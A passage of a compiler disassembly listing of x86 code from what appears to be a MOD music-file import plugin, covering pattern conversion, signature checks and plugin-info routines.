00008: 0794 83 C4 0C ADD ESP, 0000000C
00008: 0797 BF 00000002 MOV EDI, 00000002
00008: 079C 8B 4C 24 24 MOV ECX, DWORD PTR 00000024[ESP]
00008: 07A0 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 07A4 66 8B 44 08 2E MOV AX, WORD PTR 0000002E[EAX][ECX]
00008: 07A9 66 31 D2 XOR DX, DX
00008: 07AC 66 F7 F7 DIV DI
00008: 07AF 89 CA MOV EDX, ECX
00008: 07B1 8B 4C 24 18 MOV ECX, DWORD PTR 00000018[ESP]
00008: 07B5 66 89 44 11 2E MOV WORD PTR 0000002E[ECX][EDX], AX
00008: 07BA 89 D1 MOV ECX, EDX
00008: 07BC 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 07C0 66 8B 44 08 30 MOV AX, WORD PTR 00000030[EAX][ECX]
00008: 07C5 66 31 D2 XOR DX, DX
00008: 07C8 66 F7 F7 DIV DI
00008: 07CB 89 CA MOV EDX, ECX
00008: 07CD 8B 4C 24 18 MOV ECX, DWORD PTR 00000018[ESP]
00008: 07D1 66 89 44 11 30 MOV WORD PTR 00000030[ECX][EDX], AX
00008: 07D6 89 D1 MOV ECX, EDX
00008: 07D8 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 07DC 66 8B 44 08 2A MOV AX, WORD PTR 0000002A[EAX][ECX]
00008: 07E1 66 31 D2 XOR DX, DX
00008: 07E4 66 F7 F7 DIV DI
00008: 07E7 89 CA MOV EDX, ECX
00008: 07E9 8B 4C 24 18 MOV ECX, DWORD PTR 00000018[ESP]
00008: 07ED 66 89 44 11 2A MOV WORD PTR 0000002A[ECX][EDX], AX
00008: 07F2 L0020:
00008: 07F2 8B 44 24 1C MOV EAX, DWORD PTR 0000001C[ESP]
00008: 07F6 80 78 33 00 CMP BYTE PTR 00000033[EAX], 00
00008: 07FA 0F 84 000000A0 JE L001F
00008: 0800 31 DB XOR EBX, EBX
00008: 0802 31 FF XOR EDI, EDI
00008: 0804 8B 44 24 24 MOV EAX, DWORD PTR 00000024[ESP]
00008: 0808 89 44 24 14 MOV DWORD PTR 00000014[ESP], EAX
00008: 080C EB 1F JMP L0021
00000: 080E 89 C0 ALIGN 00000010, 00000008
00008: 0810 L0022:
00008: 0810 0F BE 54 1E 01 MOVSX EDX, BYTE PTR 00000001[ESI][EBX]
00008: 0815 0F BE 04 1E MOVSX EAX, BYTE PTR 00000000[ESI][EBX]
00008: 0819 01 C2 ADD EDX, EAX
00008: 081B 81 FA 80000000 CMP EDX, 80000000
00008: 0821 83 DA FFFFFFFF SBB EDX, FFFFFFFF
00008: 0824 D1 FA SAR EDX, 00000001
00008: 0826 88 14 3E MOV BYTE PTR 00000000[ESI][EDI], DL
00008: 0829 47 INC EDI
00008: 082A 83 C3 02 ADD EBX, 00000002
00008: 082D L0021:
00008: 082D 8B 4C 24 14 MOV ECX, DWORD PTR 00000014[ESP]
00008: 0831 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0835 0F B7 44 08 2A MOVZX EAX, WORD PTR 0000002A[EAX][ECX]
00008: 083A 01 C0 ADD EAX, EAX
00008: 083C 39 C3 CMP EBX, EAX
00008: 083E 7C FFFFFFD0 JL L0022
00008: 0840 BF 00000002 MOV EDI, 00000002
00008: 0845 8B 4C 24 24 MOV ECX, DWORD PTR 00000024[ESP]
00008: 0849 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 084D 66 8B 44 08 2E MOV AX, WORD PTR 0000002E[EAX][ECX]
00008: 0852 66 31 D2 XOR DX, DX
00008: 0855 66 F7 F7 DIV DI
00008: 0858 89 CA MOV EDX, ECX
00008: 085A 8B 4C 24 18 MOV ECX, DWORD PTR 00000018[ESP]
00008: 085E 66 89 44 11 2E MOV WORD PTR 0000002E[ECX][EDX], AX
00008: 0863 BE 00000002 MOV ESI, 00000002
00008: 0868 89 D1 MOV ECX, EDX
00008: 086A 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 086E 66 8B 44 08 30 MOV AX, WORD PTR 00000030[EAX][ECX]
00008: 0873 66 31 D2 XOR DX, DX
00008: 0876 66 F7 F6 DIV SI
00008: 0879 89 CA MOV EDX, ECX
00008: 087B 8B 4C 24 18 MOV ECX, DWORD PTR 00000018[ESP]
00008: 087F 66 89 44 11 30 MOV WORD PTR 00000030[ECX][EDX], AX
00008: 0884 89 D1 MOV ECX, EDX
00008: 0886 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 088A 66 8B 44 08 2A MOV AX, WORD PTR 0000002A[EAX][ECX]
00008: 088F 66 31 D2 XOR DX, DX
00008: 0892 66 F7 F7 DIV DI
00008: 0895 89 CA MOV EDX, ECX
00008: 0897 8B 4C 24 18 MOV ECX, DWORD PTR 00000018[ESP]
00008: 089B 66 89 44 11 2A MOV WORD PTR 0000002A[ECX][EDX], AX
00008: 08A0 L001F:
00008: 08A0 8B 4C 24 24 MOV ECX, DWORD PTR 00000024[ESP]
00008: 08A4 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 08A8 0F B7 44 08 2A MOVZX EAX, WORD PTR 0000002A[EAX][ECX]
00008: 08AD 01 C0 ADD EAX, EAX
00008: 08AF 01 44 24 68 ADD DWORD PTR 00000068[ESP], EAX
00008: 08B3 L001A:
00008: 08B3 81 44 24 60 00000100 ADD DWORD PTR 00000060[ESP], 00000100
00008: 08BB 81 44 24 64 0000012C ADD DWORD PTR 00000064[ESP], 0000012C
00008: 08C3 83 44 24 24 1E ADD DWORD PTR 00000024[ESP], 0000001E
00008: 08C8 FF 44 24 5C INC DWORD PTR 0000005C[ESP]
00008: 08CC 83 7C 24 5C 1F CMP DWORD PTR 0000005C[ESP], 0000001F
00008: 08D1 0F 8C FFFFFDD0 JL L0019
00008: 08D7 C7 44 24 08 00000000 MOV DWORD PTR 00000008[ESP], 00000000
00008: 08DF E9 000001D9 JMP L0023
00000: 08E4 ALIGN 00000010, 00000008
00008: 08E4 L0024:
00008: 08E4 C6 84 24 0000021800 MOV BYTE PTR 00000218[ESP], 00
00008: 08EC C6 84 24 00000219FFFFFFFF MOV BYTE PTR 00000219[ESP], FFFFFFFF
00008: 08F4 C6 84 24 0000021A00 MOV BYTE PTR 0000021A[ESP], 00
00008: 08FC C6 84 24 0000021B00 MOV BYTE PTR 0000021B[ESP], 00
00008: 0904 C6 84 24 0000021CFFFFFFFF MOV BYTE PTR 0000021C[ESP], FFFFFFFF
00008: 090C C6 84 24 0000021D00 MOV BYTE PTR 0000021D[ESP], 00
00008: 0914 C7 44 24 20 00000000 MOV DWORD PTR 00000020[ESP], 00000000
00008: 091C 83 7C 24 20 40 CMP DWORD PTR 00000020[ESP], 00000040
00008: 0921 0F 8D 00000192 JGE L0025
00000: 0927 ALIGN 00000010, 00000008
00008: 0927 L0026:
00008: 0927 C7 44 24 10 00000000 MOV DWORD PTR 00000010[ESP], 00000000
00008: 092F E9 00000162 JMP L0027
00000: 0934 ALIGN 00000010, 00000008
00008: 0934 L0028:
00008: 0934 8B 44 24 08 MOV EAX, DWORD PTR 00000008[ESP]
00008: 0938 8B 5C 85 04 MOV EBX, DWORD PTR 00000004[EBP][EAX*4]
00008: 093C 8B 44 24 20 MOV EAX, DWORD PTR 00000020[ESP]
00008: 0940 3B 03 CMP EAX, DWORD PTR 00000000[EBX]
00008: 0942 7D 13 JGE L0029
00008: 0944 53 PUSH EBX
00008: 0945 8B 4C 24 14 MOV ECX, DWORD PTR 00000014[ESP]
00008: 0949 51 PUSH ECX
00008: 094A 50 PUSH EAX
00008: 094B E8 00000000 CALL SHORT _GetMADCommand
00008: 0950 83 C4 0C ADD ESP, 0000000C
00008: 0953 89 C7 MOV EDI, EAX
00008: 0955 EB 07 JMP L002A
00000: 0957 ALIGN 00000010, 00000008
00008: 0957 L0029:
00008: 0957 8D BC 24 00000218 LEA EDI, DWORD PTR 00000218[ESP]
00008: 095E L002A:
00008: 095E 8B 74 24 18 MOV ESI, DWORD PTR 00000018[ESP]
00008: 0962 81 C6 0000043C ADD ESI, 0000043C
00008: 0968 56 PUSH ESI
00008: 0969 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 096C 0F B6 90 00000125 MOVZX EDX, BYTE PTR 00000125[EAX]
00008: 0973 52 PUSH EDX
00008: 0974 8B 44 24 10 MOV EAX, DWORD PTR 00000010[ESP]
00008: 0978 50 PUSH EAX
00008: 0979 8B 4C 24 1C MOV ECX, DWORD PTR 0000001C[ESP]
00008: 097D 51 PUSH ECX
00008: 097E 8B 44 24 30 MOV EAX, DWORD PTR 00000030[ESP]
00008: 0982 50 PUSH EAX
00008: 0983 E8 00000000 CALL SHORT ?GetMODCommand@@YAPAUMODCom@@FFFFPAD@Z
00008: 0988 83 C4 14 ADD ESP, 00000014
00008: 098B 89 C6 MOV ESI, EAX
00008: 098D 3B 74 24 4C CMP ESI, DWORD PTR 0000004C[ESP]
00008: 0991 76 0B JBE L002B
00008: 0993 68 00000000 PUSH OFFSET @1025
00008: 0998 E8 00000000 CALL SHORT ?DebugStr@@YAXPAE@Z
00008: 099D 59 POP ECX
00008: 099E L002B:
00008: 099E 3B 74 24 18 CMP ESI, DWORD PTR 00000018[ESP]
00008: 09A2 73 0B JAE L002C
00008: 09A4 68 00000000 PUSH OFFSET @1025
00008: 09A9 E8 00000000 CALL SHORT ?DebugStr@@YAXPAE@Z
00008: 09AE 59 POP ECX
00008: 09AF L002C:
00008: 09AF 8A 17 MOV DL, BYTE PTR 00000000[EDI]
00008: 09B1 80 E2 FFFFFFF0 AND DL, FFFFFFF0
00008: 09B4 88 16 MOV BYTE PTR 00000000[ESI], DL
00008: 09B6 8A 07 MOV AL, BYTE PTR 00000000[EDI]
00008: 09B8 24 0F AND AL, 0F
00008: 09BA C0 E0 04 SHL AL, 04
00008: 09BD 88 46 02 MOV BYTE PTR 00000002[ESI], AL
00008: 09C0 8A 5F 01 MOV BL, BYTE PTR 00000001[EDI]
00008: 09C3 80 FB FFFFFFFF CMP BL, FFFFFFFF
00008: 09C6 74 7F JE L002D
00008: 09C8 80 FB FFFFFFFE CMP BL, FFFFFFFE
00008: 09CB 74 7A JE L002D
00008: 09CD 8A 07 MOV AL, BYTE PTR 00000000[EDI]
00008: 09CF 84 C0 TEST AL, AL
00008: 09D1 74 3D JE L002E
00008: 09D3 0F B6 D0 MOVZX EDX, AL
00008: 09D6 89 D1 MOV ECX, EDX
00008: 09D8 6B C9 4B IMUL ECX, ECX, 0000004B
00008: 09DB 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 09E1 66 83 BC 88 FFFFFEF800 CMP WORD PTR FFFFFEF8[EAX][ECX*4], 0000
00008: 09EA 7E 18 JLE L002F
00008: 09EC 4A DEC EDX
00008: 09ED C1 E2 08 SHL EDX, 00000008
00008: 09F0 8B 85 00000328 MOV EAX, DWORD PTR 00000328[EBP]
00008: 09F6 8B 0C 10 MOV ECX, DWORD PTR 00000000[EAX][EDX]
00008: 09F9 0F BE 51 12 MOVSX EDX, BYTE PTR 00000012[ECX]
00008: 09FD 0F B6 C3 MOVZX EAX, BL
00008: 0A00 01 C2 ADD EDX, EAX
00008: 0A02 EB 0F JMP L003C
00000: 0A04 ALIGN 00000010, 00000008
00008: 0A04 L002F:
00008: 0A04 0F B6 D3 MOVZX EDX, BL
00008: 0A07 EB 0A JMP L003D
00000: 0A09 8D 84 20 00000000 ALIGN 00000010, 00000008
00008: 0A10 L002E:
00008: 0A10 0F B6 D3 MOVZX EDX, BL
00008: 0A13 L003C:
00008: 0A13 L003D:
00008: 0A13 L0030:
00008: 0A13 8D 42 FFFFFFE8 LEA EAX, DWORD PTR FFFFFFE8[EDX]
00008: 0A16 66 85 C0 TEST AX, AX
00008: 0A19 7E 18 JLE L0031
00008: 0A1B 8D 42 FFFFFFE8 LEA EAX, DWORD PTR FFFFFFE8[EDX]
00008: 0A1E 66 83 F8 41 CMP AX, 0041
00008: 0A22 7D 0F JGE L0031
00008: 0A24 83 C2 FFFFFFE8 ADD EDX, FFFFFFE8
00008: 0A27 0F BF C2 MOVSX EAX, DX
00008: 0A2A 8B 9C 44 00000180 MOV EBX, DWORD PTR 00000180[ESP][EAX*2]
00008: 0A31 EB 02 JMP L0032
00000: 0A33 ALIGN 00000010, 00000008
00008: 0A33 L0031:
00008: 0A33 31 DB XOR EBX, EBX
00008: 0A35 L0032:
00008: 0A35 0F BF C3 MOVSX EAX, BX
00008: 0A38 88 C1 MOV CL, AL
00008: 0A3A 80 E1 FFFFFFFF AND CL, FFFFFFFF
00008: 0A3D 88 4E 01 MOV BYTE PTR 00000001[ESI], CL
00008: 0A40 C1 F8 08 SAR EAX, 00000008
00008: 0A43 02 06 ADD AL, BYTE PTR 00000000[ESI]
00008: 0A45 EB 06 JMP L003E
00000: 0A47 ALIGN 00000010, 00000008
00008: 0A47 L002D:
00008: 0A47 C6 46 01 00 MOV BYTE PTR 00000001[ESI], 00
00008: 0A4B 8A 06 MOV AL, BYTE PTR 00000000[ESI]
00008: 0A4D L003E:
00008: 0A4D 88 06 MOV BYTE PTR 00000000[ESI], AL
00008: 0A4F L0033:
00008: 0A4F 8A 47 04 MOV AL, BYTE PTR 00000004[EDI]
00008: 0A52 3C FFFFFFFF CMP AL, FFFFFFFF
00008: 0A54 74 2A JE L0034
00008: 0A56 80 7F 02 00 CMP BYTE PTR 00000002[EDI], 00
00008: 0A5A 75 24 JNE L0034
00008: 0A5C 80 7F 03 00 CMP BYTE PTR 00000003[EDI], 00
00008: 0A60 75 1E JNE L0034
00008: 0A62 3C 10 CMP AL, 10
00008: 0A64 72 2C JB L0035
00008: 0A66 3C 50 CMP AL, 50
00008: 0A68 77 28 JA L0035
00008: 0A6A 8A 56 02 MOV DL, BYTE PTR 00000002[ESI]
00008: 0A6D 80 C2 0C ADD DL, 0C
00008: 0A70 88 56 02 MOV BYTE PTR 00000002[ESI], DL
00008: 0A73 8A 47 04 MOV AL, BYTE PTR 00000004[EDI]
00008: 0A76 04 FFFFFFF0 ADD AL, FFFFFFF0
00008: 0A78 EB 15 JMP L003F
00000: 0A7A 8D 80 00000000 ALIGN 00000010, 00000008
00008: 0A80 L0034:
00008: 0A80 8A 4F 02 MOV CL, BYTE PTR 00000002[EDI]
00008: 0A83 80 E1 0F AND CL, 0F
00008: 0A86 02 4E 02 ADD CL, BYTE PTR 00000002[ESI]
00008: 0A89 88 4E 02 MOV BYTE PTR 00000002[ESI], CL
00008: 0A8C 8A 47 03 MOV AL, BYTE PTR 00000003[EDI]
00008: 0A8F L003F:
00008: 0A8F 88 46 03 MOV BYTE PTR 00000003[ESI], AL
00008: 0A92 L0035:
00008: 0A92 FF 44 24 10 INC DWORD PTR 00000010[ESP]
00008: 0A96 L0027:
00008: 0A96 8B 55 00 MOV EDX, DWORD PTR 00000000[EBP]
00008: 0A99 0F B6 82 00000125 MOVZX EAX, BYTE PTR 00000125[EDX]
00008: 0AA0 39 44 24 10 CMP DWORD PTR 00000010[ESP], EAX
00008: 0AA4 0F 8C FFFFFE8A JL L0028
00008: 0AAA FF 44 24 20 INC DWORD PTR 00000020[ESP]
00008: 0AAE 83 7C 24 20 40 CMP DWORD PTR 00000020[ESP], 00000040
00008: 0AB3 0F 8C FFFFFE6E JL L0026
00008: 0AB9 L0025:
00008: 0AB9 FF 44 24 08 INC DWORD PTR 00000008[ESP]
00008: 0ABD L0023:
00008: 0ABD 8B 5D 00 MOV EBX, DWORD PTR 00000000[EBP]
00008: 0AC0 0F B6 83 00000124 MOVZX EAX, BYTE PTR 00000124[EBX]
00008: 0AC7 39 44 24 08 CMP DWORD PTR 00000008[ESP], EAX
00008: 0ACB 0F 8C FFFFFE13 JL L0024
00008: 0AD1 66 83 BB 000005127D CMP WORD PTR 00000512[EBX], 007D
00008: 0AD9 75 0E JNE L0036
00008: 0ADB 66 83 BB 0000051006 CMP WORD PTR 00000510[EBX], 0006
00008: 0AE3 0F 84 000000E2 JE L0037
00008: 0AE9 L0036:
00008: 0AE9 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0AED 05 0000043C ADD EAX, 0000043C
00008: 0AF2 50 PUSH EAX
00008: 0AF3 8A 8B 00000125 MOV CL, BYTE PTR 00000125[EBX]
00008: 0AF9 0F B6 C1 MOVZX EAX, CL
00008: 0AFC 50 PUSH EAX
00008: 0AFD 0F B6 83 00000129 MOVZX EAX, BYTE PTR 00000129[EBX]
00008: 0B04 50 PUSH EAX
00008: 0B05 0F B6 C1 MOVZX EAX, CL
00008: 0B08 48 DEC EAX
00008: 0B09 50 PUSH EAX
00008: 0B0A 6A 00 PUSH 00000000
00008: 0B0C E8 00000000 CALL SHORT ?GetMODCommand@@YAPAUMODCom@@FFFFPAD@Z
00008: 0B11 83 C4 14 ADD ESP, 00000014
00008: 0B14 89 C6 MOV ESI, EAX
00008: 0B16 3B 74 24 4C CMP ESI, DWORD PTR 0000004C[ESP]
00008: 0B1A 76 0B JBE L0038
00008: 0B1C 68 00000000 PUSH OFFSET @1025
00008: 0B21 E8 00000000 CALL SHORT ?DebugStr@@YAXPAE@Z
00008: 0B26 59 POP ECX
00008: 0B27 L0038:
00008: 0B27 3B 74 24 18 CMP ESI, DWORD PTR 00000018[ESP]
00008: 0B2B 73 0B JAE L0039
00008: 0B2D 68 00000000 PUSH OFFSET @1025
00008: 0B32 E8 00000000 CALL SHORT ?DebugStr@@YAXPAE@Z
00008: 0B37 59 POP ECX
00008: 0B38 L0039:
00008: 0B38 C6 06 00 MOV BYTE PTR 00000000[ESI], 00
00008: 0B3B C6 46 01 00 MOV BYTE PTR 00000001[ESI], 00
00008: 0B3F C6 46 02 00 MOV BYTE PTR 00000002[ESI], 00
00008: 0B43 8A 4E 02 MOV CL, BYTE PTR 00000002[ESI]
00008: 0B46 80 C1 0F ADD CL, 0F
00008: 0B49 88 4E 02 MOV BYTE PTR 00000002[ESI], CL
00008: 0B4C 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0B4F 8A 90 00000510 MOV DL, BYTE PTR 00000510[EAX]
00008: 0B55 88 56 03 MOV BYTE PTR 00000003[ESI], DL
00008: 0B58 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0B5C 05 0000043C ADD EAX, 0000043C
00008: 0B61 50 PUSH EAX
00008: 0B62 8B 7D 00 MOV EDI, DWORD PTR 00000000[EBP]
00008: 0B65 8A 9F 00000125 MOV BL, BYTE PTR 00000125[EDI]
00008: 0B6B 0F B6 C3 MOVZX EAX, BL
00008: 0B6E 50 PUSH EAX
00008: 0B6F 0F B6 87 00000129 MOVZX EAX, BYTE PTR 00000129[EDI]
00008: 0B76 50 PUSH EAX
00008: 0B77 0F B6 C3 MOVZX EAX, BL
00008: 0B7A 83 C0 FFFFFFFE ADD EAX, FFFFFFFE
00008: 0B7D 50 PUSH EAX
00008: 0B7E 6A 00 PUSH 00000000
00008: 0B80 E8 00000000 CALL SHORT ?GetMODCommand@@YAPAUMODCom@@FFFFPAD@Z
00008: 0B85 83 C4 14 ADD ESP, 00000014
00008: 0B88 89 C6 MOV ESI, EAX
00008: 0B8A 3B 74 24 4C CMP ESI, DWORD PTR 0000004C[ESP]
00008: 0B8E 76 0B JBE L003A
00008: 0B90 68 00000000 PUSH OFFSET @1025
00008: 0B95 E8 00000000 CALL SHORT ?DebugStr@@YAXPAE@Z
00008: 0B9A 59 POP ECX
00008: 0B9B L003A:
00008: 0B9B 3B 74 24 18 CMP ESI, DWORD PTR 00000018[ESP]
00008: 0B9F 73 0B JAE L003B
00008: 0BA1 68 00000000 PUSH OFFSET @1025
00008: 0BA6 E8 00000000 CALL SHORT ?DebugStr@@YAXPAE@Z
00008: 0BAB 59 POP ECX
00008: 0BAC L003B:
00008: 0BAC C6 06 00 MOV BYTE PTR 00000000[ESI], 00
00008: 0BAF C6 46 01 00 MOV BYTE PTR 00000001[ESI], 00
00008: 0BB3 C6 46 02 00 MOV BYTE PTR 00000002[ESI], 00
00008: 0BB7 8A 46 02 MOV AL, BYTE PTR 00000002[ESI]
00008: 0BBA 04 0F ADD AL, 0F
00008: 0BBC 88 46 02 MOV BYTE PTR 00000002[ESI], AL
00008: 0BBF 8B 4D 00 MOV ECX, DWORD PTR 00000000[EBP]
00008: 0BC2 8A 81 00000512 MOV AL, BYTE PTR 00000512[ECX]
00008: 0BC8 88 46 03 MOV BYTE PTR 00000003[ESI], AL
00008: 0BCB L0037:
00008: 0BCB 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00000: 0BCF L0000:
00000: 0BCF 81 C4 00000220 ADD ESP, 00000220
00000: 0BD5 5D POP EBP
00000: 0BD6 5F POP EDI
00000: 0BD7 5E POP ESI
00000: 0BD8 5B POP EBX
00000: 0BD9 C3 RETN
Function: ?ExtractMODInfo@@YAFPAUPPInfoRec@@PAD@Z
00000: 0000 53 PUSH EBX
00000: 0001 56 PUSH ESI
00000: 0002 55 PUSH EBP
00000: 0003 83 EC 08 SUB ESP, 00000008
00000: 0006 8B 6C 24 18 MOV EBP, DWORD PTR 00000018[ESP]
00008: 000A 8B 5C 24 1C MOV EBX, DWORD PTR 0000001C[ESP]
00008: 000E 8B 83 00000438 MOV EAX, DWORD PTR 00000438[EBX]
00008: 0014 89 85 00000084 MOV DWORD PTR 00000084[EBP], EAX
00008: 001A C6 43 13 00 MOV BYTE PTR 00000013[EBX], 00
00008: 001E 53 PUSH EBX
00008: 001F 55 PUSH EBP
00008: 0020 E8 00000000 CALL SHORT _MADstrcpy
00008: 0025 59 POP ECX
00008: 0026 59 POP ECX
00008: 0027 53 PUSH EBX
00008: 0028 8D 8D 00000080 LEA ECX, DWORD PTR 00000080[EBP]
00008: 002E 51 PUSH ECX
00008: 002F 8D 44 24 08 LEA EAX, DWORD PTR 00000008[ESP]
00008: 0033 50 PUSH EAX
00008: 0034 8D 54 24 12 LEA EDX, DWORD PTR 00000012[ESP]
00008: 0038 52 PUSH EDX
00008: 0039 8B 85 00000084 MOV EAX, DWORD PTR 00000084[EBP]
00008: 003F 50 PUSH EAX
00008: 0040 6A FFFFFFFF PUSH FFFFFFFF
00008: 0042 E8 00000000 CALL SHORT ?AnalyseSignatureMOD@@YAXJJPAFPAJ0PAUMODDef@@@Z
00008: 0047 83 C4 18 ADD ESP, 00000018
00008: 004A 66 83 7C 24 06 00 CMP WORD PTR 00000006[ESP], 0000
00008: 0050 75 0E JNE L0001
00008: 0052 B8 FFFFFFF7 MOV EAX, FFFFFFF7
00000: 0057 83 C4 08 ADD ESP, 00000008
00000: 005A 5D POP EBP
00000: 005B 5E POP ESI
00000: 005C 5B POP EBX
00000: 005D C3 RETN
00000: 005E 89 C0 ALIGN 00000010, 00000008
00008: 0060 L0001:
00008: 0060 66 83 7C 24 06 0F CMP WORD PTR 00000006[ESP], 000F
00008: 0066 75 10 JNE L0002
00008: 0068 C7 85 000000842D2D2D2D MOV DWORD PTR 00000084[EBP], 2D2D2D2D
00008: 0072 81 C3 FFFFFE20 ADD EBX, FFFFFE20
00008: 0078 L0002:
00008: 0078 C7 45 78 00000000 MOV DWORD PTR 00000078[EBP], 00000000
00008: 007F 31 F6 XOR ESI, ESI
00000: 0081 ALIGN 00000010, 00000008
00008: 0081 L0003:
00008: 0081 0F BF CE MOVSX ECX, SI
00008: 0084 8A 84 0B 000003B8 MOV AL, BYTE PTR 000003B8[EBX][ECX]
00008: 008B 0F B6 D0 MOVZX EDX, AL
00008: 008E 3B 55 78 CMP EDX, DWORD PTR 00000078[EBP]
00008: 0091 7C 06 JL L0004
00008: 0093 0F B6 C8 MOVZX ECX, AL
00008: 0096 89 4D 78 MOV DWORD PTR 00000078[EBP], ECX
00008: 0099 L0004:
00008: 0099 46 INC ESI
00008: 009A 66 81 FE 0080 CMP SI, 0080
00008: 009F 7C FFFFFFE0 JL L0003
00008: 00A1 FF 45 78 INC DWORD PTR 00000078[EBP]
00008: 00A4 0F B6 83 000003B6 MOVZX EAX, BYTE PTR 000003B6[EBX]
00008: 00AB 89 45 7C MOV DWORD PTR 0000007C[EBP], EAX
00008: 00AE 31 D2 XOR EDX, EDX
00008: 00B0 66 C7 85 000000820000 MOV WORD PTR 00000082[EBP], 0000
00008: 00B9 66 83 7C 24 06 00 CMP WORD PTR 00000006[ESP], 0000
00008: 00BF 7E 1C JLE L0005
00008: 00C1 31 C0 XOR EAX, EAX
00000: 00C3 ALIGN 00000010, 00000008
00008: 00C3 L0006:
00008: 00C3 66 83 7C 03 2A 05 CMP WORD PTR 0000002A[EBX][EAX], 0005
00008: 00C9 76 07 JBE L0007
00008: 00CB 66 FF 85 00000082 INC WORD PTR 00000082[EBP]
00008: 00D2 L0007:
00008: 00D2 83 C0 1E ADD EAX, 0000001E
00008: 00D5 42 INC EDX
00008: 00D6 66 3B 54 24 06 CMP DX, WORD PTR 00000006[ESP]
00008: 00DB 7C FFFFFFE6 JL L0006
00008: 00DD L0005:
00008: 00DD 68 00000000 PUSH OFFSET @1056
00008: 00E2 8D 45 3C LEA EAX, DWORD PTR 0000003C[EBP]
00008: 00E5 50 PUSH EAX
00008: 00E6 E8 00000000 CALL SHORT _MADstrcpy
00008: 00EB 59 POP ECX
00008: 00EC 59 POP ECX
00008: 00ED 31 C0 XOR EAX, EAX
00000: 00EF L0000:
00000: 00EF 83 C4 08 ADD ESP, 00000008
00000: 00F2 5D POP EBP
00000: 00F3 5E POP ESI
00000: 00F4 5B POP EBX
00000: 00F5 C3 RETN
Function: ?TestMODFile@@YAFPADJ@Z
00000: 0000 53 PUSH EBX
00000: 0001 83 EC 10 SUB ESP, 00000010
00000: 0004 8B 5C 24 18 MOV EBX, DWORD PTR 00000018[ESP]
00008: 0008 53 PUSH EBX
00008: 0009 8D 4C 24 12 LEA ECX, DWORD PTR 00000012[ESP]
00008: 000D 51 PUSH ECX
00008: 000E 8D 44 24 10 LEA EAX, DWORD PTR 00000010[ESP]
00008: 0012 50 PUSH EAX
00008: 0013 8D 54 24 12 LEA EDX, DWORD PTR 00000012[ESP]
00008: 0017 52 PUSH EDX
00008: 0018 8D 83 00000438 LEA EAX, DWORD PTR 00000438[EBX]
00008: 001E 8B 08 MOV ECX, DWORD PTR 00000000[EAX]
00008: 0020 51 PUSH ECX
00008: 0021 8B 44 24 30 MOV EAX, DWORD PTR 00000030[ESP]
00008: 0025 50 PUSH EAX
00008: 0026 E8 00000000 CALL SHORT ?AnalyseSignatureMOD@@YAXJJPAFPAJ0PAUMODDef@@@Z
00008: 002B 83 C4 18 ADD ESP, 00000018
00008: 002E 66 83 7C 24 06 00 CMP WORD PTR 00000006[ESP], 0000
00008: 0034 75 0A JNE L0001
00008: 0036 B8 FFFFFFF7 MOV EAX, FFFFFFF7
00000: 003B 83 C4 10 ADD ESP, 00000010
00000: 003E 5B POP EBX
00000: 003F C3 RETN
00000: 0040 ALIGN 00000010, 00000008
00008: 0040 L0001:
00008: 0040 31 C0 XOR EAX, EAX
00000: 0042 L0000:
00000: 0042 83 C4 10 ADD ESP, 00000010
00000: 0045 5B POP EBX
00000: 0046 C3 RETN
Function: _FillPlug
00000: 0000 53 PUSH EBX
00000: 0001 8B 5C 24 08 MOV EBX, DWORD PTR 00000008[ESP]
00008: 0005 68 00000000 PUSH OFFSET @1068
00008: 000A 8D 83 00000189 LEA EAX, DWORD PTR 00000189[EBX]
00008: 0010 50 PUSH EAX
00008: 0011 E8 00000000 CALL SHORT _MADstrcpy
00008: 0016 59 POP ECX
00008: 0017 59 POP ECX
00008: 0018 68 00000000 PUSH OFFSET @1069
00008: 001D 8D 43 08 LEA EAX, DWORD PTR 00000008[EBX]
00008: 0020 50 PUSH EAX
00008: 0021 E8 00000000 CALL SHORT _MADstrcpy
00008: 0026 59 POP ECX
00008: 0027 59 POP ECX
00008: 0028 C7 83 0000018E4558494D MOV DWORD PTR 0000018E[EBX], 4558494D
00008: 0032 31 C0 XOR EAX, EAX
00000: 0034 L0000:
00000: 0034 5B POP EBX
00000: 0035 C3 RETN
Function: _main
00000: 0000 53 PUSH EBX
00000: 0001 56 PUSH ESI
00000: 0002 57 PUSH EDI
00000: 0003 55 PUSH EBP
00000: 0004 83 EC 08 SUB ESP, 00000008
00000: 0007 8B 74 24 20 MOV ESI, DWORD PTR 00000020[ESP]
00000: 000B 8B 6C 24 28 MOV EBP, DWORD PTR 00000028[ESP]
00000: 000F 8B 5C 24 2C MOV EBX, DWORD PTR 0000002C[ESP]
00008: 0013 31 FF XOR EDI, EDI
00008: 0015 8B 4C 24 1C MOV ECX, DWORD PTR 0000001C[ESP]
00008: 0019 89 C8 MOV EAX, ECX
00008: 001B 2D 4558504C SUB EAX, 4558504C
00008: 0020 0F 84 0000013C JE L0001
00008: 0026 2D 03F50000 SUB EAX, 03F50000
00008: 002B 74 1B JE L0002
00008: 002D 2D 0000F603 SUB EAX, 0000F603
00008: 0032 0F 84 00000188 JE L0003
00008: 0038 2D 0AF70D05 SUB EAX, 0AF70D05
00008: 003D 0F 84 000000AD JE L0004
00008: 0043 E9 000001FF JMP L0005
00000: 0048 ALIGN 00000010, 00000008
00008: 0048 L0002:
00008: 0048 56 PUSH ESI
00008: 0049 E8 00000000 CALL SHORT _iFileOpen
00008: 004E 59 POP ECX
00008: 004F 89 C6 MOV ESI, EAX
00008: 0051 85 F6 TEST ESI, ESI
00008: 0053 0F 84 00000087 JE L0006
00008: 0059 56 PUSH ESI
00008: 005A E8 00000000 CALL SHORT _iGetEOF
00008: 005F 59 POP ECX
00008: 0060 89 44 24 04 MOV DWORD PTR 00000004[ESP], EAX
00008: 0064 53 PUSH EBX
